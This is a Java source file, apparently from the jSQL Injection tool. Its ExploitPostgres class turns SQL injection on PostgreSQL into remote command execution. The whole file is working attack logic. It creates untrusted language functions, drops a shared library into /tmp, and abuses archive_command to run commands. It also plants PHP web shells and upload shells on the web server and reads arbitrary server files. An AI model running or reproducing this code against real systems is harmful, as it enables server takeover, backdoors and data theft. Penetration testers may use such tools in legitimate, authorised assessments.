View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.engine.postgres.ModelYamlPostgres;
7   import com.jsql.model.bean.database.MockElement;
8   import com.jsql.view.subscriber.Seal;
9   import com.jsql.model.exception.AbstractSlidingException;
10  import com.jsql.model.exception.InjectionFailureException;
11  import com.jsql.model.exception.JSqlException;
12  import com.jsql.model.exception.JSqlRuntimeException;
13  import com.jsql.model.injection.engine.model.EngineYaml;
14  import com.jsql.model.suspendable.SuspendableGetRows;
15  import com.jsql.util.LogLevelUtil;
16  import com.jsql.util.StringUtil;
17  import org.apache.commons.lang3.RandomStringUtils;
18  import org.apache.commons.lang3.StringUtils;
19  import org.apache.logging.log4j.LogManager;
20  import org.apache.logging.log4j.Logger;
21  import org.yaml.snakeyaml.Yaml;
22  
23  import java.io.File;
24  import java.io.FileInputStream;
25  import java.io.IOException;
26  import java.io.InputStream;
27  import java.net.http.HttpResponse;
28  import java.util.Arrays;
29  import java.util.List;
30  import java.util.Objects;
31  import java.util.UUID;
32  import java.util.function.BinaryOperator;
33  
34  public class ExploitPostgres {
35  
36      private static final Logger LOGGER = LogManager.getRootLogger();
37      private final InjectionModel injectionModel;
38      private String nameExtension = StringUtils.EMPTY;
39      private final ModelYamlPostgres modelYaml;
40  
41      public ExploitPostgres(InjectionModel injectionModel) {
42          this.injectionModel = injectionModel;
43          var yaml = new Yaml();
44          this.modelYaml = yaml.loadAs(
45              injectionModel.getMediatorEngine().getPostgres().instance().getModelYaml().getResource().getExploit(),
46              ModelYamlPostgres.class
47          );
48      }
49  
50      public void createUdf(String nameExtension) throws JSqlException {
51          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
52  
53          if (StringUtils.isNotEmpty(nameExtension)) {
54              this.setRceExtensionWhenActive(false, nameExtension);
55          } else {
56              var isUdfActive = this.setRceProgramWhenActive();
57              isUdfActive = this.setRceExtensionWhenActive(isUdfActive, nameExtension);
58              isUdfActive = this.setRceLibraryWhenActive(isUdfActive);
59              this.setRceArchiveWhenActive(isUdfActive);
60          }
61      }
62  
63      private String getCreateBasicExtension() {
64          String plCreateExtension = null;
65          if (this.nameExtension.startsWith("plpython")) {
66              plCreateExtension = String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension);
67          } else if (this.nameExtension.startsWith("plperl")) {
68              plCreateExtension = this.modelYaml.getUdf().getPlperl();
69          } else if (this.nameExtension.startsWith("pltcl")) {
70              plCreateExtension = this.modelYaml.getUdf().getPltcl();
71          } else if (this.nameExtension.startsWith("plr")) {
72              plCreateExtension = this.modelYaml.getUdf().getPlr();
73          } else if (this.nameExtension.startsWith("pllua")) {
74              plCreateExtension = this.modelYaml.getUdf().getPllua();
75          } else if (this.nameExtension.startsWith("plsh")) {
76              plCreateExtension = this.modelYaml.getUdf().getPlsh();
77          }
78          return plCreateExtension;
79      }
80  
81      private boolean setRceProgramWhenActive() {
82          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
83          var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
84          this.injectionModel.injectWithoutIndex(String.format(
85              this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
86              nameTempTable
87          ), ResourceAccess.TBL_CREATE);
88          this.injectionModel.injectWithoutIndex(String.format(
89              this.modelYaml.getUdf().getProgram().getRun(),
90              nameTempTable,
91              ResourceAccess.WEB_CONFIRM_CMD
92          ), ResourceAccess.TBL_FILL);
93          var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
94              this.modelYaml.getUdf().getProgram().getGetResult(),
95              nameTempTable
96          ), ResourceAccess.TBL_READ);
97          if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
98              LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
99              this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
100                 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceProgramCmd(command, terminalID)
101             ));
102             return true;
103         }
104         return false;
105     }
106 
107     private boolean setRceExtensionWhenActive(boolean isUdfActive, String nameExtension) throws JSqlException {
108         if (isUdfActive) {
109             return true;
110         }
111         if (StringUtils.isNotEmpty(nameExtension)) {
112             this.nameExtension = this.getExtensionWhenCreated(nameExtension);  // could fail but IT only
113             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "IT RCE [Extension]: searching [{}], found [{}]", nameExtension, this.nameExtension);
114         } else {
115             this.nameExtension = StringUtils.EMPTY;
116             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
117             for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
118                 if (StringUtils.isEmpty(this.nameExtension)) {
119                     this.nameExtension = this.getExtensionWhenCreated(ext);
120                 }
121             }
122             if (StringUtils.isEmpty(this.nameExtension)) {
123                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE [Extension] failure: no extension found");
124                 return false;
125             }
126         }
127 
128         this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.DROP_FUNC);
129 
130         String plCreateBasicExtension = this.getCreateBasicExtension();
131         if (plCreateBasicExtension != null) {
132             this.injectionModel.injectWithoutIndex(plCreateBasicExtension, ResourceAccess.ADD_FUNC);
133         } else if (this.nameExtension.startsWith("sql")) {
134             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
135             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
136             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
137             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
138             var result = this.injectionModel.getResourceAccess().getResult(
139                 String.format(this.modelYaml.getUdf().getSql().getResultCmd(), StringUtils.EMPTY),
140                 ResourceAccess.BODY_CONFIRM
141             );
142             if (!"1337".equals(result)) {
143                 return false;
144             }
145         }
146 
147         var functions = this.injectionModel.getResourceAccess().getResult(
148             this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
149             ResourceAccess.BODY_CONFIRM
150         );
151         if (!functions.contains("exec_cmd")) {
152             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
153             return false;
154         }
155 
156         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Extension] successful: function found for extension [{}]", this.nameExtension);
157         this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
158             (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceExtensionCmd(command, terminalID)
159         ));
160         return true;
161     }
162 
163     public boolean setRceLibraryWhenActive(boolean isUdfActive) throws JSqlException {
164         if (isUdfActive) {
165             return true;
166         }
167 
168         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Library] requirements: stack query");
169         this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getLibrary().getDropFunc()), ResourceAccess.DROP_FUNC);
170         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
171             this.modelYaml.getUdf().getLibrary().getLoFromText(),
172             String.join(StringUtils.EMPTY, ExploitPostgres.toHexChunks("v10.64"))
173         ), ResourceAccess.ADD_LOID);
174         if (StringUtils.isEmpty(loid)) {
175             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
176             return false;
177         }
178         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".so";
179         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
180             this.modelYaml.getUdf().getLibrary().getLoToFile(),
181             loid,
182             "/tmp/" + nameExploit
183         ), ResourceAccess.WRITE_LOID);
184         this.injectionModel.injectWithoutIndex(String.format(
185             this.modelYaml.getUdf().getLibrary().getCreateFunction(),
186             "/tmp/" + nameExploit
187         ), ResourceAccess.ADD_FUNC);
188         String result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
189             this.modelYaml.getUdf().getLibrary().getRunFunc(),
190             ResourceAccess.WEB_CONFIRM_CMD + "%20"
191         ), "confirm");
192         if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
193             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
194             return false;
195         }
196         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Library] successful");
197         this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
198             (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceLibraryCmd(command, terminalID)
199         ));
200         return true;
201     }
202 
203     private void setRceArchiveWhenActive(boolean isUdfActive) throws JSqlException {
204         if (isUdfActive) {
205             return;
206         }
207 
208         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Archive] requirements: archive_mode enabled");
209         if (!StringUtils.EMPTY.equals(this.runArchive(null))) {
210             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Archive] successful: command execution found");
211             this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
212                 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceArchiveCmd(command, terminalID)
213             ));
214         }
215     }
216 
217     private static List<String> toHexChunks(String filename) throws JSqlException {
218         try {
219             byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
220                 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/postgres/"+ filename +".so")
221             ).readAllBytes();
222             return StringUtil.toHexChunks(fileData);
223         } catch (IOException e) {
224             throw new JSqlException(e);
225         }
226     }
227 
228     public String runRceLibraryCmd(String command, UUID uuidShell) {
229         String result;
230         try {
231             result = this.injectionModel.getResourceAccess().getResult(String.format(
232                 this.modelYaml.getUdf().getLibrary().getRunFunc(),
233                 command.replace(StringUtils.SPACE, "%20") + "%20"
234             ), ResourceAccess.RUN_FUNC);
235         } catch (JSqlException e) {
236             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
237         }
238         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
239             uuidShell,
240             result.trim() +"\n"  // missing newline on some extensions
241         ));
242         return result;
243     }
244 
245     private String runArchive(String command) throws JSqlException {
246         boolean isSetup = command == null;
247         String pathResult = "/tmp/cmd.txt";
248 
249         String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetStatus(), "wal#status");
250         if (isSetup && !status.contains("on")) {
251             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive_mode disabled");
252             return StringUtils.EMPTY;
253         }
254 
255         String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetPathConf(), "conf#path");
256         String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
257             this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
258             pathConf
259         ), "conf#loid");
260         String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
261             this.modelYaml.getUdf().getArchive().getGetConfLength(),
262             loidConf
263         ), "conf#size");
264 
265         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
266             this.modelYaml.getUdf().getArchive().getPutCmd(),
267             loidConf,
268             lengthConf,
269             isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command,
270             pathResult
271         ), "conf#append");
272 
273         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
274             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
275             loidConf,
276             pathConf
277         ), "conf#write");
278         this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getReloadConf(), "wal#reload");
279 
280         String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetCmd(), "cmd#confirm");
281         if (isSetup && !cmdArchive.contains(pathResult)) {
282             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive command missing");
283             return StringUtils.EMPTY;
284         }
285 
286         this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getRunWal(), "wal#run");
287         try {
288             Thread.sleep(750);  // wait for result as archiving is slow
289         } catch (InterruptedException e) {
290             LOGGER.log(LogLevelUtil.IGNORE, e, e);
291             Thread.currentThread().interrupt();
292         }
293         String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
294             this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
295             pathResult
296         ), "result#loid");
297         String result = this.injectionModel.getResourceAccess().getResult(String.format(
298             this.modelYaml.getFile().getRead().getLargeObject().getToText(),
299             loidResult
300         ), "result#read");
301 
302         if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
303             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: command result missing");
304             return StringUtils.EMPTY;
305         }
306         return result;
307     }
308 
309     private String getExtensionWhenCreated(String nameExtension) throws JSqlException {
310         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension [{}]", nameExtension);
311         this.injectionModel.injectWithoutIndex(String.format(
312             this.modelYaml.getUdf().getExtension().getCreate(),
313             nameExtension
314         ), "body#add-ext");
315         String languages = this.injectionModel.getResourceAccess().getResult(
316             this.modelYaml.getUdf().getExtension().getLanguages(),
317             "body#confirm-ext"
318         );
319         if (languages.contains(nameExtension)) {
320             LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Language [{}] found: {}", nameExtension, languages);
321             return nameExtension;
322         }
323         LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Language [{}] not found: {}", nameExtension, languages);
324         return StringUtils.EMPTY;
325     }
326 
327     public String runRceArchiveCmd(String command, UUID uuidShell) {
328         String result;
329         try {
330             result = this.runArchive(command.replace(StringUtils.SPACE, "%20") +"%20");
331         } catch (JSqlException e) {
332             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
333         }
334         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
335             uuidShell,
336             result.trim() +"\n"  // missing newline on some extensions
337         ));
338         return result;
339     }
340 
341     public String runRceProgramCmd(String command, UUID uuidShell) {
342         String result;
343         try {
344             var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
345             this.injectionModel.injectWithoutIndex(String.format(
346                 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
347                 nameTempTable
348             ), ResourceAccess.TBL_CREATE);
349             this.injectionModel.injectWithoutIndex(String.format(
350                 this.modelYaml.getUdf().getProgram().getRun(),
351                 nameTempTable,
352                 command.replace(StringUtils.SPACE, "%20") +"%20"
353             ), ResourceAccess.TBL_FILL);
354             result = this.injectionModel.getResourceAccess().getResult(String.format(
355                 this.modelYaml.getUdf().getProgram().getGetResult(),
356                 nameTempTable
357             ), ResourceAccess.TBL_READ);
358         } catch (JSqlException e) {
359             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
360         }
361         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
362             uuidShell,
363             result.trim() +"\n"  // missing newline on some extensions
364         ));
365         return result;
366     }
367 
368     public String runRceExtensionCmd(String command, UUID uuidShell) {
369         String result;
370         try {
371             if ("sql".equals(this.nameExtension)) {
372                 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
373                 this.injectionModel.injectWithoutIndex(String.format(
374                     this.modelYaml.getUdf().getSql().getRunFunc(),
375                     command.replace(StringUtils.SPACE, "%20")
376                 ), ResourceAccess.ADD_FUNC);
377                 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
378                 result = this.injectionModel.getResourceAccess().getResult(String.format(
379                     this.modelYaml.getUdf().getSql().getResultCmd(),
380                     EngineYaml.TRAIL_SQL
381                 ), "body#result") +"\n";
382             } else {
383                 result = this.injectionModel.getResourceAccess().getResult(
384                     String.format(
385                         this.modelYaml.getUdf().getRunFunc(),
386                         command.replace(StringUtils.SPACE, "%20"),  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
387                         EngineYaml.TRAIL_SQL
388                     ),
389                     ResourceAccess.UDF_RUN_CMD
390                 );
391             }
392         } catch (JSqlException e) {
393             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
394         }
395         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
396             uuidShell,
397             result.trim() +"\n"  // missing newline on some extensions
398         ));
399         return result;
400     }
401 
402     public String createWeb(String pathExploit, String urlExploit) {
403         String bodyExploit = StringUtil.base64Decode(
404                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
405             )
406             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
407             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
408 
409         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
410             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
411             bodyExploit.replace("'", "\"")
412         ), ResourceAccess.ADD_LOID);
413         if (StringUtils.isEmpty(loid)) {
414             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
415             return StringUtils.EMPTY;
416         }
417         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
418         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
419             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
420             loid,
421             pathExploit + nameExploit
422         ), ResourceAccess.WRITE_LOID);
423 
424         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
425             String result = this.injectionModel.getResourceAccess().callCommand(
426                 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
427             );
428             if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
429                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
430                 return StringUtils.EMPTY;
431             }
432             this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
433             return urlSuccess;
434         };
435 
436         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
437     }
438 
439     public String createSql(String pathExploit, String urlExploit, String username, String password) {
440         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
441             var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
442                 ResourceAccess.SQL_CONFIRM_CMD,
443                 null,
444                 urlSuccess,
445                 username,
446                 password,
447                 false
448             );
449             if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
450                 this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
451                 return urlSuccess;
452             }
453             return StringUtils.EMPTY;
454         };
455 
456         String bodyExploit = StringUtil.base64Decode(
457                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.sql.pdo.pgsql")
458             )
459             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
460             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
461 
462         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
463             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
464             bodyExploit.replace("'", "\"")
465         ), ResourceAccess.ADD_LOID);
466         if (StringUtils.isEmpty(loid)) {
467             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
468             return StringUtils.EMPTY;
469         }
470         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
471         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
472             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
473             loid,
474             pathExploit + nameExploit
475         ), ResourceAccess.WRITE_LOID);
476 
477         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
478     }
479 
480     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
481         String bodyExploit = StringUtil.base64Decode(
482                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
483             )
484             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
485             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
486 
487         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
488             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
489             bodyExploit.replace("'", "\"")
490         ), ResourceAccess.ADD_LOID);
491         if (StringUtils.isEmpty(loid)) {
492             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
493             return;
494         }
495         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
496         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
497             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
498             loid,
499             pathExploit + nameExploit
500         ), ResourceAccess.WRITE_LOID);
501 
502         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
503             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
504                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
505                 if (result.body().contains(DataAccess.LEAD +"y")) {
506                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
507                 } else {
508                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
509                 }
510             } catch (InterruptedException e) {
511                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
512                 Thread.currentThread().interrupt();
513             } catch (IOException | JSqlException e) {
514                 throw new JSqlRuntimeException(e);
515             }
516             return urlSuccess;
517         };
518 
519         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
520     }
521 
522     public String getRead(String pathFile) throws AbstractSlidingException {
523         String resultToParse = StringUtils.EMPTY;
524         try {
525             resultToParse = new SuspendableGetRows(this.injectionModel).run(
526                 String.format(
527                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromDataFolder(),
528                     pathFile
529                 ),
530                 new String[]{ StringUtils.EMPTY },
531                 false,
532                 1,
533                 MockElement.MOCK,
534                 ResourceAccess.FILE_READ
535             );
536         } catch (InjectionFailureException e) {
537             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read data folder failure, trying with large object");
538             var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
539                 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getFromPath(),
540                 pathFile
541             ), ResourceAccess.ADD_LOID);
542             if (StringUtils.isNotEmpty(loid)) {
543                 resultToParse = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
544                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getToText(),
545                     loid
546                 ), ResourceAccess.READ_LOID);
547             }
548             if (StringUtils.isEmpty(resultToParse)) {
549                 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read large object failure, trying with stack read");
550                 var nameLibraryRandom = "tmp_" + RandomStringUtils.secure().nextAlphabetic(8);  // no dash in table name
551                 this.injectionModel.injectWithoutIndex(String.format(
552                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getDrop(),
553                     nameLibraryRandom
554                 ), ResourceAccess.TBL_DROP);
555                 this.injectionModel.injectWithoutIndex(String.format(
556                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getAdd(),
557                     nameLibraryRandom
558                 ), ResourceAccess.TBL_CREATE);
559                 this.injectionModel.injectWithoutIndex(String.format(
560                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getFill(),
561                     nameLibraryRandom,
562                     pathFile
563                 ), ResourceAccess.TBL_FILL);
564                 resultToParse = new SuspendableGetRows(this.injectionModel).run(
565                     String.format(
566                         this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromTempTable(),
567                         nameLibraryRandom
568                     ),
569                     new String[]{ StringUtils.EMPTY },
570                     false,
571                     1,
572                     MockElement.MOCK,
573                     ResourceAccess.TBL_READ
574                 );
575             }
576         }
577         return resultToParse;
578     }
579 
580     public ModelYamlPostgres getModelYaml() {
581         return this.modelYaml;
582     }
583 }